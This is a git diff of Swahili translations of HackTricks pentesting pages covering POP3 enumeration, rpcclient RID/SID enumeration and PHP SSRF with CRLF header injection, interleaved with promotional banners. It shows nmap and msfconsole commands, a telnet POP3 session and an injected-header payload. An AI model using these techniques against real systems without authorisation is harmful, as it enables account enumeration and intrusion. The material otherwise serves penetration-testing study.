* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
|
|
|
@ -1,22 +1,30 @@
|
||||||
# 110,995 - Kupima Usalama wa POP
|
# 110,995 - Kujaribu POP
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
**Itifaki ya Posta (POP)** inaelezwa kama itifaki ndani ya uwanja wa mtandao wa kompyuta na Intaneti, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kupatikana kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja kwa ndani, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana.
|
**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kufikia kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana.
|
||||||
|
|
||||||
**Bandari za msingi:** 110, 995(ssl)
|
**Bandari za chaguo:** 110, 995(ssl)
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
110/tcp open pop3
|
110/tcp open pop3
|
||||||
|
@ -38,9 +46,9 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
|
||||||
```
|
```
|
||||||
Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo la Windows).
|
Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo la Windows).
|
||||||
|
|
||||||
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
|
### [POP3 kuvunja nguvu](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||||
|
|
||||||
## Sintaksia ya POP
|
## POP syntax
|
||||||
|
|
||||||
Mifano ya amri za POP kutoka [hapa](http://sunnyoasis.com/services/emailviatelnet.html)
|
Mifano ya amri za POP kutoka [hapa](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||||
```bash
|
```bash
|
||||||
|
@ -56,13 +64,25 @@ QUIT Logout (expunges messages if no RSET)
|
||||||
TOP msg n Show first n lines of message number msg
|
TOP msg n Show first n lines of message number msg
|
||||||
CAPA Get capabilities
|
CAPA Get capabilities
|
||||||
```
|
```
|
||||||
### Post-Exploitation
|
### Post Office Protocol (POP)
|
||||||
|
|
||||||
Post-exploitation is the phase where an attacker performs various tasks on a compromised system after successfully exploiting it. This phase allows the attacker to maintain access, gather sensitive information, escalate privileges, and more. Post-exploitation activities can include creating new accounts, installing backdoors, exfiltrating data, and covering their tracks. It is crucial for pentesters to thoroughly test for post-exploitation vulnerabilities to simulate real-world attack scenarios.
|
POP is a protocol used by email clients to retrieve email from a remote server. Here are some common security issues to look out for when pentesting POP:
|
||||||
|
|
||||||
### Baada ya Kuingia
|
1. **Weak Credentials**: Brute forcing weak passwords to gain unauthorized access.
|
||||||
|
2. **No Encryption**: Traffic sent in plain text can be intercepted and read.
|
||||||
|
3. **User Enumeration**: Attackers can enumerate valid users through error messages.
|
||||||
|
4. **Open Relay**: Allowing unauthorized users to send emails through the server.
|
||||||
|
5. **Banner Grabbing**: Revealing sensitive information through banner grabbing.
|
||||||
|
|
||||||
Baada ya kuingia ni hatua ambapo mshambuliaji hufanya majukumu mbalimbali kwenye mfumo uliokumbwa baada ya kufanikiwa kuingia. Hatua hii inamruhusu mshambuliaji kudumisha ufikiaji, kukusanya taarifa nyeti, kuinua mamlaka, na zaidi. Shughuli za baada ya kuingia zinaweza kujumuisha kuunda akaunti mpya, kusakinisha milango ya nyuma, kuchukua data, na kuficha nyayo zao. Ni muhimu kwa wapimaji wa usalama kufanya majaribio kwa kina kwa ajili ya mapungufu ya baada ya kuingia ili kusimuliza hali halisi za mashambulizi.
|
### Post Office Protocol (POP)
|
||||||
|
|
||||||
|
POP ni itifaki inayotumiwa na wateja wa barua pepe kupata barua pepe kutoka kwa seva ya mbali. Hapa kuna masuala ya usalama ya kawaida ya kutazama wakati wa kufanya pentesting kwenye POP:
|
||||||
|
|
||||||
|
1. **Mandhari Dhaifu**: Kuvunja nguvu nywila dhaifu ili kupata ufikiaji usioruhusiwa.
|
||||||
|
2. **Hakuna Ufichaji**: Trafiki inayotumwa kwa maandishi wazi inaweza kutekwa na kusomwa.
|
||||||
|
3. **Uainishaji wa Mtumiaji**: Wadukuzi wanaweza kuainisha watumiaji halali kupitia ujumbe wa makosa.
|
||||||
|
4. **Kuruhusu Uhamishaji**: Kuruhusu watumiaji wasioruhusiwa kutuma barua pepe kupitia seva.
|
||||||
|
5. **Kukamata Bango**: Kufunua habari nyeti kupitia kukamata bango.
|
||||||
```
|
```
|
||||||
root@kali:~# telnet $ip 110
|
root@kali:~# telnet $ip 110
|
||||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||||
|
@ -93,11 +113,19 @@ Kutoka [https://academy.hackthebox.com/module/112/section/1073](https://academy.
|
||||||
|
|
||||||
| **Mipangilio** | **Maelezo** |
|
| **Mipangilio** | **Maelezo** |
|
||||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||||
| `auth_debug` | Inawezesha kuingiza kumbukumbu zote za upelelezi wa uthibitishaji. |
|
| `auth_debug` | Inawezesha uingizaji wa kumbukumbu za kisasa za uthibitishaji. |
|
||||||
| `auth_debug_passwords` | Mipangilio hii inabadilisha kina cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unapata kuingizwa. |
|
| `auth_debug_passwords` | Mipangilio hii inabadilisha kiasi cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unapata kuingizwa. |
|
||||||
| `auth_verbose` | Kuingiza jaribio lisilofanikiwa la uthibitishaji na sababu zake. |
|
| `auth_verbose` | Kuingiza jaribio lisilofanikiwa la uthibitishaji na sababu zake. |
|
||||||
| `auth_verbose_passwords` | Nywila zilizotumiwa kwa uthibitishaji zinaingizwa na pia zinaweza kukatwa. |
|
| `auth_verbose_passwords` | Nywila zilizotumiwa kwa uthibitishaji zinaingizwa na pia zinaweza kukatwa. |
|
||||||
| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mbinu ya ANONYMOUS SASL. |
|
| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mfumo wa ANONYMOUS SASL. |
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
## Amri za Kiotomatiki za HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 110 #Comma separated if there is more than one.
|
Port_Number: 110 #Comma separated if there is more than one.
|
||||||
|
@ -140,13 +168,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,35 +2,41 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### **Nini ni RID**
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
### Maelezo ya Identifiers za Kihusishi (RID) na Identifiers za Usalama (SID)
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Identifiers za Kihusishi (RID)** na **Identifiers za Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, ndani ya kikoa cha mtandao.
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa.
|
***
|
||||||
- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu kufuatilia kwa usahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji.
|
|
||||||
|
|
||||||
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho kipekee kinachochanganya SID ya kikoa na RID yake maalum, iliyoonyeshwa kwa nambari za hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na kipekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
### Maelezo ya Vitambulisho vya Kihusiano (RID) na Vitambulisho vya Usalama (SID)
|
||||||
|
|
||||||
|
**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, kwa njia ya pekee ndani ya kikoa cha mtandao.
|
||||||
|
|
||||||
|
- **SIDs** hutumika kama vitambulisho vya pekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa.
|
||||||
|
- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya pekee kwa vitu ndani ya maeneo hayo. Hii inaruhusu ufuatiliaji sahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji.
|
||||||
|
|
||||||
|
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho cha pekee kinachochanganya SID ya kikoa na RID yake maalum, iliyoonyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na cha pekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||||
|
|
||||||
|
|
||||||
### **Uchambuzi na rpcclient**
|
### **Uchambuzi na rpcclient**
|
||||||
|
|
||||||
Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vielekezo vya RPC kupitia mabomba yaliyopewa majina**. Amri zifuatazo zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **kikao cha SMB kuanzishwa**, mara nyingi ikihitaji vibali.
|
Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vituo vya RPC kupitia mabomba yaliyopewa majina**. Amri zifuatazo zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **kikao cha SMB kuanzishwa**, mara nyingi ikihitaji vibali.
|
||||||
|
|
||||||
#### Taarifa za Seva
|
#### Taarifa za Seva
|
||||||
|
|
||||||
* Kupata **Taarifa za Seva**: hutumika amri ya `srvinfo`.
|
* Kupata **Taarifa za Seva**: Amri ya `srvinfo` hutumiwa.
|
||||||
|
|
||||||
#### Uchambuzi wa Watumiaji
|
#### Uchambuzi wa Watumiaji
|
||||||
|
|
||||||
|
@ -55,8 +61,8 @@ done
|
||||||
|
|
||||||
#### Uchambuzi wa Vikundi vya Kielelezo
|
#### Uchambuzi wa Vikundi vya Kielelezo
|
||||||
|
|
||||||
* **Vikundi vya kielezo** kwa: `enumalsgroups <builtin|domain>`.
|
* **Vikundi vya kielelezo** kwa: `enumalsgroups <builtin|domain>`.
|
||||||
* **Wanachama wa kikundi cha kielezo** kwa: `queryaliasmem builtin|domain <0xrid>`.
|
* **Wanachama wa kikundi cha kielelezo** kwa: `queryaliasmem builtin|domain <0xrid>`.
|
||||||
|
|
||||||
#### Uchambuzi wa Maeneo
|
#### Uchambuzi wa Maeneo
|
||||||
|
|
||||||
|
@ -86,23 +92,29 @@ done
|
||||||
| enumdomgroups | Uorodhesha vikundi vya kikoa | |
|
| enumdomgroups | Uorodhesha vikundi vya kikoa | |
|
||||||
| createdomuser | Unda mtumiaji wa kikoa | |
|
| createdomuser | Unda mtumiaji wa kikoa | |
|
||||||
| deletedomuser | Futa mtumiaji wa kikoa | |
|
| deletedomuser | Futa mtumiaji wa kikoa | |
|
||||||
| lookupnames | LSARPC | Tafuta majina ya watumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani |
|
| lookupnames | LSARPC | Tafuta majina ya mtumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani |
|
||||||
| lookupsids | Tafuta SIDs hadi majina ya watumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
|
| lookupsids | Tafuta SIDs hadi majina ya mtumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
|
||||||
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
|
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
|
||||||
| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | |
|
| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | |
|
||||||
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya kikoa |
|
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya kikoa |
|
||||||
| dsenumdomtrusts | Uorodhesha vikoa vinavyoaminika ndani ya msitu wa AD | |
|
| dsenumdomtrusts | Uorodhesha maeneo ya kuaminiwa ndani ya msitu wa AD | |
|
||||||
|
|
||||||
Kuelewa jinsi zana **_samrdump_** na **_rpcdump_** zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,9 +14,17 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### Vifaa vya PHP vya SSRF
|
### Vifaa vya PHP vya SSRF
|
||||||
|
|
||||||
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama kuingia ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data:
|
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama data ya kuingiza ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF ikiwa mtumiaji anaweza kudhibiti data:
|
||||||
```php
|
```php
|
||||||
file_get_contents("http://127.0.0.1:8081");
|
file_get_contents("http://127.0.0.1:8081");
|
||||||
fopen("http://127.0.0.1:8081", "r");
|
fopen("http://127.0.0.1:8081", "r");
|
||||||
|
@ -25,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
|
||||||
```
|
```
|
||||||
### CRLF
|
### CRLF
|
||||||
|
|
||||||
Zaidi ya hayo, katika baadhi ya kesi inaweza hata kuwa inawezekana kutuma vichwa vya habari vya kupendelea kupitia CRLF "udhaifu" katika kazi za awali:
|
Zaidi, katika baadhi ya kesi inaweza hata kuwa inawezekana kutuma vichwa vya habari vya kupendelea kupitia CRLF "udhaifu" katika kazi za awali:
|
||||||
```php
|
```php
|
||||||
# The following will create a header called from with value Hi and
|
# The following will create a header called from with value Hi and
|
||||||
# an extra header "Injected: I HAVE IT"
|
# an extra header "Injected: I HAVE IT"
|
||||||
|
@ -44,7 +52,7 @@ Connection: close
|
||||||
Kwa habari zaidi kuhusu kasoro hiyo ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
Kwa habari zaidi kuhusu kasoro hiyo ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
